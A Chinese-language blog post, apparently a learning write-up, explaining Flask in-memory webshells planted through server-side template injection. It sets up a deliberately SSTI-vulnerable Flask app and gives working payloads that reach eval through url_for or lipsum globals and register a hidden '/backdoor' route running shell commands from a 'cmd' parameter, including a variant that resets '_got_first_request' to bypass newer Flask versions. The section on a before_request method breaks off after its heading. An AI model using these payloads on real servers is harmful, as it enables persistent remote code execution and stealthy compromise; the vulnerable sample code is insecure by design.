内存马flask

内存马

先简单介绍一下什么叫内存马,就像他的名字一样,内存马就是直接在内存里面运行的木马
可以规避常规杀毒软件的扫描,因为常规的杀毒软件多是扫描磁盘来进行杀毒
不会去看内存,所有造就了内存马的存在,但通常一般的内存马是关机之后,可能是会消失的
但有些高级的会通过其它方式留下来,比如去更改注册表之类的,导致电脑开机就运行内存马

基于ssti/flask的内存马

这里得区分一下新版本与旧版本的flask
在新出的版本里,flask打内存马不能通过直接添加路由来进行打马
需要借助其它方法,这里先不说后面会有

旧版本flask打内存马

具体是那个版本可以用我也不太确定,但这里找了一个23年的版本先来看看
因为我看到的那些都是24年发表的文章
image

就选他了
这里直接在虚拟环境里安装,省的冲突
这里先搭建一个存在ssti漏洞的flask

点击查看代码
import flask
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template_string(f'Hello {user_input}!')  # 直接渲染用户输入

if __name__ == '__main__':
    app.run()
运行后进去网址 ![image](https://img2024.cnblogs.com/blog/3646174/202505/3646174-20250521202641495-277365150.png)

先传一个参数看看
image

说明成功了
这里先介绍一下这里老版本进行打内存马的方法
这里主要方法就是劫持Flask应用对象
应用对象一般都是命名为app
也就是我刚刚运行的那个代码
image
它管理所有路由(URL规则)和请求处理函数。攻击者通过 SSTI 直接操作 app 对象,动态添加新路由。
这里就是借用函数
app.add_url_rule()
是用于动态注册路由的核心方法
这里注册的路由是存在url_map
新路由直接写入 Flask 应用的 url_map 属性(内存中的路由表),无需修改磁盘上的代码或配置文件。只要应用进程不重启,后门路由会一直存在。
所以这里形成了内存马
上下文管理机制
当网页请求进入Flask时, 会实例化一个Request Context. 在Python中分出了两种上下文: 请求上下文(request context)、应用上下文(session context). 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack的栈结构, 也就是说它拥有一个栈所拥有的全部特性. request context实例化后会被push到栈_request_ctx_stack中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.
然后再来详细介绍一下app.add_url_rule()函数
这个实际上作用和app.route()一样的
{{
app.add_url_rule(
'/backdoor', # 后门路径
'backdoor', # 路由名称
lambda: import('os').popen(request.args.get('cmd')).read() # 执行命令
)
}}
lambda用来创建一个匿名函数
这里尝试一下看看老马
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/backdoor', 'backdoor', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
这里来详细解释一下这个payload
url_for和lipsum一样都是全局函数,通过__vlobals__属性可以访问Flask应用的其他全局对象
__builtins__是python内置的模块字典
包含所有内置函数eval等
eval动态执行字符串形式的Python代码。和php里的差不多
_request_ctx_stack 是Flask的请求上下文栈,.top 获取当前请求上下文
request.args.get('cmd', 'whoami') 从URL参数 cmd 获取命令,默认执行 whoami
{}里面
_request_ctx_stack是Flask的一个全局变量, 是一个LocalStack实例
这里直接传
image

访问一下backdoor这个路由
这里要记得自己url编码一下
但是我现在这个版本不能使用这种方法来添加路由
这里之后再解释,更改flask版本的时候会出现不兼容这个情况
就不演示老的内存马了
这里看一下新版的三种内存马

第一种

{{lipsum.__globals__.__builtins__.eval('[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for backdoor in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/backdoor", endpoint="backdoor", view_func=backdoor) ] ]')}}
先解释一下为什么之前的payload在老版本里不能用
在新版的Flask中,当服务运行起来后,会多出一个 app._got_first_request内部标签,当服务器接受到第一个请求之后,该属性就会被设置为 True 。当该属性为True时,app.add_url_rule就无法使用,所以我们要先把这个属性改为False。
解释一下这串payload
延迟3秒
动态导入flask模块并将模块对象赋值给变量flask
然后导入垃圾回收模块用来遍历内存中的对象
筛选出类型为flask.Flask的对象
app.jinja_env.globals 是 Flask 的 Jinja2 模板全局变量字典,通常包含 request、session 等对象
这里就是获取这个字典
之后就是创建一个匿名函数
直接尝试一下
总感觉是我搭建的环境有问题
怎么尝试都不对
image
这里直接去用buuctf上的ssti的环境看了

第二种

使用before_request方法

posted @ 2025-05-21 21:49  crook666  阅读(74)  评论(0)    收藏  举报